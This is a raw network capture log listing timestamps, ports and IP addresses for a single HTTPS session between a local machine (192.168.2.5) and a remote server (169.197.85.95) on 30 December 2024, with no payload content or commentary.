Dec 30, 2024 16:16:58.211414099 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211416960 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211425066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211446047 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211446047 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211530924 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211530924 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211541891 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211568117 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211600065 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211600065 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211606979 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211647987 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211709023 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211750031 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211779118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211779118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211788893 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211798906 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211832047 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211847067 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211847067 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211853981 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211868048 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.211891890 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211891890 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.211899996 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.212007999 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.212037086 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.212151051 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.212156057 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.212265015 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.273929119 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.273982048 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274034977 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274063110 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274090052 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274091005 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274091005 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274107933 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274127007 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274127960 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274256945 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274292946 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274323940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274324894 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274324894 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274333954 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274359941 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274375916 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274375916 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274386883 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274398088 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274429083 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274429083 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.274439096 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.274490118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.275959015 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.276020050 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.276043892 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.276050091 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.276078939 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.276078939 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.303536892 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.303563118 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.303594112 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.303617001 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.303651094 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.303651094 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.303698063 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.303731918 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.303764105 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.303771019 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.303771019 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.303780079 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.303797960 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.303836107 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.303836107 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.303847075 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.303884983 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.304631948 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.304657936 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.304696083 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.304702997 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.304723024 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.304748058 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.304828882 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.304863930 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.304893017 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.304898977 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.304908037 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.304919004 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.304924011 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.304966927 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.304966927 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.304974079 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.304980993 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305006027 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305032969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.305033922 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305043936 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305058956 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.305075884 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305109978 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.305109978 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.305118084 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305155039 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305185080 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305188894 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.305188894 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.305197001 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305213928 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305234909 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.305234909 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.305242062 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305250883 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.305288076 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.305288076 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.365854025 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.365895987 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.365922928 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.365951061 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.365983009 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.365981102 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.365982056 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.366007090 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.366029978 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.366029978 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.366058111 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.366086006 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.366096020 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.366105080 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.366122961 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.366159916 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.366159916 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.366161108 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.366172075 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.366225958 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.366230965 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.366302013 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.366309881 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.367103100 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.367275000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.367305040 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.367328882 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.367336035 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.367367029 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.367367029 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.396235943 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.396272898 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.396305084 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.396331072 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.396358967 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.396358967 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.396373034 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.396388054 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.396394968 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.396416903 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.396430969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.396430969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.396439075 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.396471024 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.396471024 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.396996975 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397030115 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397078037 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397078037 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397083998 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397093058 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397140980 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397177935 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397177935 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397186041 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397221088 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397250891 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397260904 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397260904 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397269964 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397310972 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397310972 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397315025 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397322893 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397380114 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397417068 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397418022 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397424936 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397531033 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397562027 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397567987 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397567987 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397577047 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397588015 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397622108 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397622108 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397630930 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397737026 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397766113 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397798061 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397800922 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397802114 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397809029 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.397849083 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.397849083 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458337069 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458421946 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458477020 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458499908 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458517075 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458523989 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458569050 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458576918 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458576918 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458585978 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458606005 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458609104 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458643913 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458651066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458663940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458663940 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458709002 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458709955 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458719969 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458755970 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458770990 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458826065 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.458830118 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458839893 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.458877087 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.459733963 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.459773064 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.459846973 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.459846973 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.459856987 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488560915 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488646984 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.488656044 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488723993 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488728046 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.488735914 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488759041 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488791943 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.488826036 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.488831043 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488879919 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.488900900 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488936901 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488955975 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.488962889 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488975048 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.488984108 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.489025116 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.489025116 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.489029884 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.489449024 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.489521980 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.489530087 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.489552021 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.489573956 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.489583969 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.489619970 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.489753962 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.489794970 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.489810944 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.489818096 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.489850044 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.489928961 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.489969015 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490001917 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490003109 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490003109 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490020990 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490057945 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490058899 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490057945 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490068913 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490111113 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490154982 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490197897 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490228891 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490236044 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490236044 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490243912 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490271091 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490287066 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490305901 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490340948 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490355015 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490360975 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490381956 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490382910 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490407944 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.490413904 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.490431070 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.535058975 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551008940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551116943 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551208019 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551245928 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551278114 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551285982 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551285982 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551300049 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551321983 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551326990 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551337004 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551342010 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551357031 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551368952 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551431894 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551438093 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551476002 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551510096 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551543951 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551570892 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551575899 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551584959 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551592112 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551615000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551630974 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551639080 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.551665068 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.551681042 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.552227974 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.552284956 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.552308083 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.552371979 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.581028938 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581099987 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.581136942 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581171989 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581188917 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.581196070 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581207991 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581254005 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.581254005 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.581265926 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581286907 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581301928 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:58.581309080 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:58.581331968 CET	49704	443	192.168.2.5	169.197.85.95
